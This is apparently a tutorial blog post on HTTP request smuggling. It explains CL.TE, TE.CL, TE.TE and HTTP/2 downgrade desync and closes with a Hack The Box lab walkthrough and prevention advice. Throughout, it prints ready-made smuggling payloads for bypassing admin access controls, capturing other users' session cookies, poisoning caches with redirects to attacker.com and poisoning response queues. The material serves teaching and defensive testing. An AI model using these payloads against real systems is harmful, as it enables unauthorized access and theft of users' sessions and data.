What is HTTP Request Smuggling?#
HTTP request smuggling is a technique that interferes with the way a web application will process sequences of HTTP requests received from one or more users.
These tend to be critical because they allow attackers to bypass security controls, gain unauthorized access to sensitive information and can compromise other users.
This is usually associated with HTTP/1 requests but there are also attacks we can use for HTTP/2 applications.
What Causes HTTP Request Smuggling Attacks?#
So, modern web applications often use chains of HTTP servers between users and the application logic. Users send their requests to some front-end server and this server forwards those requests to some back-end server.
When the front-end server forwards a message to the back-end, it will often send these requests over the same back-end network connection - and because of how HTTP works these are sent one after another. This means that the server (to some extent) needs to figure out where one request ends and another begins.
Now the question is about whether or not these servers will always agree about where each packet begins and ends. In the diagram above, imagine if User A was able to send an request that looked like it was from User B. Or imagine if User A was able to add some data to the beginning or end of their requests to make the front-end and back-end disagree about where that request should go.
If we can make our final request effectively pretend to be the start of another request, we might have some control over those next requests.
Now, most of the time this is because HTTP/1 provides two different ways to specify when a request ends, by either using the Content-Length header or the Transfer-Encoding header.
The Content-Length header just has you specify the length of the message body in bytes like this:
POST /search HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
q=gabe
The Transfer-Encoding header is used to specify if the message is using chunked encoding, meaning that the message body will contain some number of chunks of data.
Each chunk is made up of a chunk size in hexadecimal, then a newline, then the chunk contents, then it is terminated with a zero like this:
POST /search HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
d
q=gabectfgabe
0
It is important to keep in mind that Burp Suite will automatically unpack chunked encoding and browsers do not often use chunked encoding.
Because HTTP/1 allows for you to use both of these, it is possible for the front-end and back-end to conflict with each other in how they use these two options.
If we can get the two servers to disagree about these boundaries between successive requests, then we can probably pull off request smuggling.
Performing an HTTP Request Smuggling Attack#
Typically we would place both the CL (Content-Length) and the TE (Transfer-Encoding) headers into a single HTTP/1 request and getting the front-end and back-end servers to respond differently from each other.
The exact way we do this changes depending on how the servers disagree:
- CL.TE: The front-end uses CL and back-end uses TE.
- TE.CL: The front-end uses TE and the back-end uses CL.
- TE.TE: The front-end and back-end both support TE but one of them can be manipulated into not processing it correctly.
CL.TE Vulnerabilities#
When the front-end server is using CL and the back-end is using TE, we can perform a request smuggling attack like this:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
By sending this request, the front-end server processes the CL header and determines the request body to be 13 bytes long, forwarding it to the back-end server.
The issue is that the back-end server is using the TE header and therefore tries to process the body as a chunk with a length of zero, which terminates the request.
The following bytes after the zero: SMUGGLED are not processed by the back-end and will be treated as part of the beginning of the next request.
TE.CL Vulnerabilities#
In the event that the front-end uses TE and the back-end is using CL, you’d just need to modify how you’re using each header and body like this:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
The front-end will see that the declared length is 8 bytes, process the word SMUGGLED, and then use the zero to know that is the end of the request.
The back-end will see that the declared length is 3 and will read only the three lines below, stopping at the number 8. This will leave the word SMUGGLED as an unprocessed part of the request and will be treated as the beginning of the next request.
*Note: you can make it easier on yourself in Burp Suite by disabling the automatic ‘Update Content-Length’ setting and using the HTTP Request Smuggler extension to chunk your request for you.
TE.TE Behavior and Obfuscation#
If the front-end and back-end servers are both using TE, we need to try and get them to disagree about how long the request is somehow. We can sometimes do this by obfuscating the header in some way that one server can interpret while the other cannot.
We can do this in a variety of ways like:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
These each differ a little bit from the HTTP specifications, but real world code often accounts for these kinds of typos. We need to find some kind of variation in how the TE header is processed in order to exploit a vulnerable setup.
For example, imagine you find a server and you can use two TE headers like this:
Transfer-Encoding: chunked
Transfer-Encoding: x
4
GABE
0
If this returns a response like: Unrecognized method 4GABE0POST, then we can probably pull off some smuggling. We can use the following to change the request method to GABE:
Transfer-Encoding: chunked
Transfer-Encoding: x
Content-Length: 4
5b
GABE / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
This works because the front-end encoding passes the contents between the 5b and 0 characters to the back end. It seems like the back-end also takes the Content-Length header into account and stops processing at the 5b and the next request tries to use GABE as the method.
Identifying Vulnerabilities#
The first way we can try to quickly find smuggling vulnerabilities is if we find some kind of predictable inconsistency in the response timing of the application.
If the application is vulnerable to CL.TE request smuggling, then this request should cause a delay:
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
The front-end uses the CL header which causes it to omit the X character and the back-end will start processing because of the 1 character, but won’t know when to stop until it finds a 0 character to terminate on.
For a TE.CL variant, you would want to try to first terminate the TE header’s operation using the 0 character and then provide a CL header larger than our message, which would require the server to wait until more information is given:
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 7
0
X
Note: you should do them in this order because TE.CL will cause disruptions even if the application is vulnerable to CL.TE
Confirming Vulnerabilities#
Once you’ve got something that looks like it is vulnerable, we want to get more evidence before moving on. We can do this by sending an attack request followed by a normal request to observe the effect.
For example, if we wanted to confirm a potential CL.TE vulnerability we would send a request like this:
POST /search HTTP/1.1
Host: vulnerable.com
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
This causes the front-end using CL to send the entire request to the back-end, but the back-end only interprets the 14 bytes between the e and 0 characters, adding the GET request for a 404 page to the beginning of the next request.
To confirm a TE.CL vulnerability, you basically follow the same logic but inversed and construct a request like this:
POST /search HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
So the front end interprets the message as everything from 7c to 0 as the request and sends it to the back-end. The back-end interprets everything up to 7c as the request. So our GET request for a 404 page is added to the beginning of the next request.
Bypassing Front-End Security Controls#
In some web applications, the front-end server will handle some of the security controls by itself. In some cases, the back-end server is configured to assume that any request that are forwarded by the front-end are safe and can be processed.
Imagine an application that implements access control restrictions to certain resources and only forwards requests if the user is authorized to access a certain URL. If the back-end honors each of these request without any further checks independent of the front-end, an HTTP request smuggling vulnerability can be used to bypass those security controls.
For example, the current user can access /home but not /admin, but they could bypass this restriction by smuggling it:
POST /home HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Foo: xGET /home HTTP/1.1
Host: vulnerable.com
In this case, the front-end will see two distinct requests, both for /home because of the CL header specifying that the request ends on the x character. The back-end trusts these requests, but it sees one request for /home and one request for /admin and grants access to the restricted URL.
Here is an example of what that might look like:
POST /home HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x
We know that the front-end is using CL, so we specify our content-length and the front-end just sees one request to /home. I used the x character to mark where we want our request to end, so it is 116 characters from the end of chunked to the character right before x.
When this same request is processed in the back-end, it uses TE which sees this as two requests, one for /home terminated by the zero character, then another request to /admin.
We can use this to see what the interface is like on /admin and later just delete an account using the same method.
The approach is similar but inverted for TE.CL iterations of this attack:
POST /home HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
57
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 144
x
0
In this case, the front-end will see this as one request to /home with additional data in the request body. The back-end will see this as two distinct requests because of the CL header ending the request to /home after the length of the request is declared. The next request is then sent as a GET request that deletes the specified user.
Revealing Front-End Request Rewriting#
Lots of applications re-write the page contents before forwarding them to the back-end server, sometimes by adding request headers like X-Forwarded-For to display the user’s IP address.
This means that sometimes the requests we create the beginning of will not have the required headers that the front-end server would add to them. We can reveal how the front-end server writes these requests by following these steps:
- Find a POST request that reflects the value of one of its parameters in the response.
- Shuffle the parameters so that the reflected parameter is last in the message body.
- Smuggle the request to the back-end server, then send a normal request that we want to reveal.
For example, imagine an application that uses the email parameter to log you in:
POST /login HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
email=gabe@mail.com
This results in the response containing some HTML like this:
<input id="email" value="gabe@mail.com" type="text">
We could then smuggle this to reveal what the front-end writes on top of our requests:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 122
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
email=POST /login HTTP/1.1
Host: vulnerable.com
...
This is a CL.TE example where the front-end sees one request and the back-end will see two. The back-end will save the extra data for the next request and once that second request is made, we will see the front-end information written in the response:
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
For example, we find that the site we are testing has CL.TE vulnerable because the following request causes a request to /admin to be queued:
POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
This website also has a search functionality that reflects in the page source, so if we add the parameter to our second request like this:
POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
The following GET request we send (the normal one) will respond with the search query in addition to the headers that the front-end attaches to the request:
<h1>0 search results for 'test
GET / HTTP/1.1
X-dGcQeD-Ip: 192.3.3.7
Host: vulnerable.com
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
se'
</h1>
Now we can use this secret header to access the admin page:
POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
X-dGcQeD-Ip: 127.0.0.1
In this case, it was specified that the admin page was only accessible from localhost, so we needed to reveal the secret header to change our IP address and delete the user.
Bypassing Client Authentication#
Usually servers authenticate themselves with the client browser by providing a certificate. This will contain the CN (common name) which matches some registered hostname.
Some sites go a step further and make sure that clients provide a CN in the form of a username which the back-end uses as an access control mechanism.
For example, a front-end might add some headers to a request on the way to the back-end that contain the client’s CN:
GET /admin HTTP/1.1
Host: normal.com
X-SSL-CLIENT-CN: gabe
These headers need to be hidden from users, and are often implicitly trusted by back-end servers. We could bypass these controls so long as we know the right header and value to supply.
This is generally unlikely but good to look out for. This is uncommon because a lot of front-end servers that authenticate this way will overwrite any headers that the user adds to the request, leaving the back-end request unchanged.
Capturing Other User Requests#
If the application allows us to store and later retrieve data, we might be able to capture another user’s requests. This can be session tokens or login information or just private information depending on the functionality of the application.
We want to look for comments, emails, profile descriptions, usernames, and so on. When we submit data that is going to be stored, we want to capture and manipulate that POST request.
Imagine if you are leaving a comment on a post but you are able to place the comment parameter at the end of a request where the site is vulnerable to smuggling.
We would be able to get the contents of another user’s request included in our comment, which we could then view. We need to over-compensate for the Content-Length though, as that will determine how much of the next request will be added to our comment.
For example, if we are able to submit a POST request like this:
POST / HTTP/1.1
Host: vulnerable.com
Cookie: session=2fnZ6lpVeaiUfTZ4Cjp1TleYUpuTcwJE
Content-Type: application/x-www-form-urlencoded
Content-Length: 281
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=2fnZ6lpVeaiUfTZ4Cjp1TleYUpuTcwJE
Content-Type: application/x-www-form-urlencoded
Content-Length: 930
csrf=rXgxRzkYkk9bWBStEqihi55ZGA1fuZVk&postId=2&name=gabe&email=gabe%40mail.com&website=https%3A%2F%2Fexample.com&comment=test
This would exploit a CL.TE vulnerability where the entire input is passed through the front-end server but the back-end views it as one request and part of a second request, meaning that the next user to commit an action will have their request headers (including cookies) reflected in the comment.
Exploiting Reflected XSS#
As you might expect based on the last section, this is also a great way to serve XSS to victims because they won’t need to click on a link from us and we can control parts of the request that are not typically controlled in an XSS attack, like the request headers.
On-Site Redirect to Open Redirect#
If the application contains a redirect from one URL to another by placing the hostname in the Host header, like Apache and IIS web servers tend to do, we could use it to redirect a victim to our site.
With request smuggling, we can control parts of the request so making a change like this isn’t all too complicated.
Turning Root-Relative Redirects into Open Redirects#
If we see a server-level redirect that uses a path to construct a root-relative URL in something like the Location header, we might be able to take advantage of it with a relative URL in the path like this:
Location: /example/
#gets turned into
Location: //attacker.com/example/
Web Cache Poisoning#
We might be able to get our redirect request cached which would would effectively make our attack persistent. This would cause persistence because if we can force the same request over and over again, we can ensure it is kept in the cache.
Imagine we send this to the front-end server:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable.com
The smuggled request reaches the back-end server and it responds with the off-site redirect. The front-end server caches this response against what it believes is the URL in the response leading to /static/include.js.
The front-end sees two requests and the back-end sees two requests, but they see two different requests.
Web Cache Deception#
We could also try to pull off web cache deception, which is when we try to store sensitive data to the cache that belongs to another user. This allows the attacker to view sensitive information once the response is cached.
For example, we smuggle a request like this:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
Another user’s request is appended to the smuggled request and the back-end server responds in a way that reveals these private messages. We could get the application to cache these responses falsely by adding some arbitrary request afterwards like this:
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
This is a lot more tricky to get in my opinion but it can still work well if done precisely.
HTTP/2 Request Smuggling#
All of these previous examples work in HTTP/1 but not HTTP/2. Thankfully there are already some strategies we can use to cause a discrepancy between the front-end and back-end’s processing of request lengths.
HTTP/2 messages are sent as a series of frames where each frame is preceded by an explicit length field, and one request is comprised of multiple frames - making a request length equal to the sum of its frame lengths.
This should stop us from ever accomplishing request smuggling, but in the wild there are often chances to downgrade the version of HTTP being used.
HTTP/2 Downgrading#
Because HTTP/2 is still relatively new, it isn’t uncommon for applications to still support use of HTTP/1.1 and for some legacy back-end services to be using HTTP/1.1 and as a result, we might be able to downgrade the protocol being used and pull off a request smuggling attack.
This is usually implemented by the front-end server transforming or translating the HTTP/2 information into HTTP/1.1 information that the back-end service can understand. Burp suite also does this to make our HTTP/2 messages still appear with HTTP/1.1 syntax.
H2.CL Vulnerabilities#
HTTP/2 requests don’t need to specify their length in the header, so when the front-end downgrades the request it will often derive the request’s length and add the CL header accordingly. HTTP/2 allows you to use CL headers, but it needs to match up with the built-in mechanism that HTTP/2 uses.
If this CL isn’t validated correctly before the front-end downgrades the request, we might be able to inject a CL that causes the front-end and back-end into disagreeing with each other.
For example, a web application uses HTTP/2 and when you change the declared CL header to zero while still having a request body, the first request works but the second returns a 404 Not Found error. This indicates that some kind of smuggling was done to interfere with the way the back-end processes requests.
You can chain this with different exploit strategies depending on the way the web application works. Try to look for on-site redirects or XSS sinks that are available to you.
H2.TE Vulnerabilities#
Chunked encoding is not compatible with HTTP/2 so it will be stripped from requests if it is included. If the front-end fails to do this stripping before downgrading the requests to HTTP/1.1, and the back-end supports chunked encoding, you can smuggle requests.
Hidden HTTP/2 Support#
Lots of browsers typically only use HTTP/2 to communicate with servers that advertise support for it in their TLS handshake. Some servers support HTTP/2 but fail to declare this properly, which can cause clients to automatically fallback onto HTTP/1.1 - enlarging the attack surface.
Response Queue Poisoning#
This is a bit different from request smuggling but it makes use of similar techniques. If the front-end server can map responses from the back-end to the wrong requests then users can be served responses meant for someone else.
This is done by smuggling a complete request that elicits two entire responses from the back-end when the front-end is only expecting one.
The impact this can cause is, as you might imagine, pretty insane. Once you poison the queue, attackers can capture responses meant for other users by just making arbitrary follow-up requests. If these responses contain sensitive information, session cookies, or login information you could be looking at a super-critical vulnerability.
In order to pull this off, we need to ensure the following:
- The TCP connection between front-end and back-end is re-used for multiple request/response cycles.
- The attacker is able to smuggle a complete standalone request that is given a distinct response from the back-end.
- The attack does not result in the server closing the TCP connection due to invalid requests.
Something important to recognize is that initially, we were just adding some information to our request to confuse the server into changing the beginning of the next request. The issue is that the real beginning of the next request is going to be a bunch of left over bytes.
If these leftovers don’t form a syntactically valid request that merits a response, then the connection will be closed which will be an instant game over as far as response queue poisoning goes.
So, how do we smuggle a complete request?
We need to be really particular about the characters and lengths we use so that we send exactly two requests in one and nothing else.
For example, if the server is vulnerable to CL.TE then we could send some front-end request like this:
POST / HTTP/1.1
Host: vulnerable.com
Content-Type: x-www-form-urlencoded
Content-Length: 53
Transfer-Encoding: chunked
0
GET /anything HTTP/1.1
Host: vulnerable.com
GET / HTTP/1.1
Host: vulnerable.com
In this case, the front-end sees two requests for the default / endpoint but the back-end will see two requests where one is for the / endpoint and the second is for the /anything endpoint.
Both of these requests are valid, so our connection should remain intact.
Desynchronizing Response Queues#
When we smuggle a request, the front-end believes that it only forwarded one request but the back-end sees two distinct requests. The front-end will know where to send the first response, but the second unexpected response will be placed in a queue because the front-end doesn’t know where to place it.
Once the front-end receives another request and the back-end issues a response, the front-end will send the first response in the queue, which is our poisoned response.
HTTP Request Tunneling#
Many of the examples we have already covered have to do with the front-end and back-end using the same connection to handle multiple requests. Some servers will employ stricter policies though, like only allowing requests from certain IP addresses, or only letting the same client re-use a connection.
In this case, we won’t be able to interfere with the requests from other users, but we might still be able to send a single request that is interpreted as two requests on the back-end.
This strategy is called tunneling because the second response is encapsulated within the first response, so the front-end server doesn’t see anything wrong with the responses and requests (in terms of input/output).
This is easier to pull off in HTTP/2 because the specification requires only one request at a time, so if we see an HTTP/2 response that looks like an HTTP/1 response in the body, that indicates that we were able to tunnel a request.
Things Not Covered#
Before I move into the lab portion, I want to take note of more of the Portswigger academy sections that are not included in this blog post:
- HTTP/2 Exclusive Vectors
- Request Smuggling with CRLF Injection
- HTTP/2 Request Splitting with CRLF Injection
- HTTP Request Tunneling
- CL.0 Request Smuggling
- Client-Side Desync Attacks
- Pause-Based Desync Attacks
HTB - Sink#
We run an initial port scan and we find that port 22 is open for SSH, port 3000 hosts Gitea, and port 5000 is hosting something called Gunicorn.
Looking at Gitea doesn’t give us much to go off of at first, but there is much more to do on port 5000.
We are able to post comments on the /comment endpoint and add notes to our /note endpoint:
Looking for recent vulnerabilities for HAProxy was confusing because this machine came out in 2021. But if we look around we can find a few older mentions of it and some HTTP request smuggling vulnerabilities here.
It is a CL.TE vulnerability where the front-end sees the content length as one request but the back-end interprets it as two requests so long as we use the URL-Encoded %0b character before the word chunked in the TE header:
In this case, we configure the request so that the back-end server creates a new note with some of the victim user’s headers.
After we wait a moment, we see the admin user’s session cookie get placed into a note:
This allows us to use the page as if we were logged in as the admin user and read their notes:
Prevention#
These vulnerabilities occur when the front-end and back-end servers disagree about when a request ends. This is usually because of discrepancies in the Content-Length or Transfer-Encoding headers that declare the length of the body.
There are also issues in HTTP/2 that sometimes allow for downgrading requests and other back-end misconfigurations.
To prevent HTTP request smuggling, these high-level steps can help:
- Use HTTP/2 end to end whenever possible and disable HTTP downgrading if possible.
- Validate and sanitize any downgraded requests if they are necessary.
- Make the front-end normalize any ambiguous requests and make the back-end reject any that slip through the cracks while closing the TCP connection.
- Never assume a request will not have a body.
- Default to disconnecting a session when requests cause server-level exceptions.
- If you use a forward proxy, ensure that HTTP/2 upstream is enabled.